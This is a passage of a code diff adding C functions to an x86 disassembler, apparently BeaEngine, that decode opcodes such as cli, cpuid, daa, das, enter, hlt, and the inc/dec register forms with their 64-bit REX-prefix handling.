(*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cli "); + #endif + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 16); + GV.EIP_++; +} + +/* ======================================= + * 0fa2h + * ======================================= */ +void __bea_callspec__ cpuid_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2+REG3; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cpuid "); + #endif + (*pMyDisasm).Argument1.ArgSize = 32; + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ daa_(PDISASM pMyDisasm) +{ + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "daa "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + FillFlags(pMyDisasm,28); + GV.EIP_++; + } + +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ das_(PDISASM pMyDisasm) +{ + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "das "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + FillFlags(pMyDisasm,29); + GV.EIP_++; + } + +} + +/* ======================================= + * 48h + * ======================================= */ +void __bea_callspec__ dec_eax(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 0; + GV.REX.X_ = 0; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 49h + * ======================================= */ +void __bea_callspec__ dec_ecx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 0; + GV.REX.X_ = 0; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4ah + * ======================================= */ +void __bea_callspec__ dec_edx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 0; + GV.REX.X_ = 1; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4bh + * ======================================= */ +void __bea_callspec__ dec_ebx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 0; + GV.REX.X_ = 1; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4ch + * ======================================= */ +void __bea_callspec__ dec_esp(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 1; + GV.REX.X_ = 0; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4dh + * ======================================= */ +void __bea_callspec__ dec_ebp(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 1; + GV.REX.X_ = 0; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4eh + * ======================================= */ +void __bea_callspec__ dec_esi(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 1; + GV.REX.X_ = 1; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 4fh + * ======================================= */ +void __bea_callspec__ dec_edi(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 1; + GV.REX.R_ = 1; + GV.REX.X_ = 1; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + GV.OperandSize = 64; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 30); + } +} + +/* ======================================= + * 0c8h + * ======================================= */ +void __bea_callspec__ enter_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "enter "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber (pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic,"%.4X",(Int64) *((UInt16*)(UIntPtr) (GV.EIP_+1))); + #endif + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber (pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_+3))); + #endif + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + GV.EIP_+=4; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ femms_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = AMD_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "femms "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ hlt_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hlt "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ invd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invd "); + #endif + GV.EIP_++; +} + +/* ======================================= + * 40h + * ======================================= */ +void __bea_callspec__ inc_eax(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 0; + GV.REX.X_ = 0; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 41h + * ======================================= */ +void __bea_callspec__ inc_ecx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 0; + GV.REX.X_ = 0; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 42h + * ======================================= */ +void __bea_callspec__ inc_edx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 0; + GV.REX.X_ = 1; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 43h + * ======================================= */ +void __bea_callspec__ inc_ebx(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 0; + GV.REX.X_ = 1; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 44h + * ======================================= */ +void __bea_callspec__ inc_esp(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 1; + GV.REX.X_ = 0; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 45h + * ======================================= */ +void __bea_callspec__ inc_ebp(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 1; + GV.REX.X_ = 0; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 46h + * ======================================= */ +void __bea_callspec__ inc_esi(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 1; + GV.REX.X_ = 1; + GV.REX.B_ = 0; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) 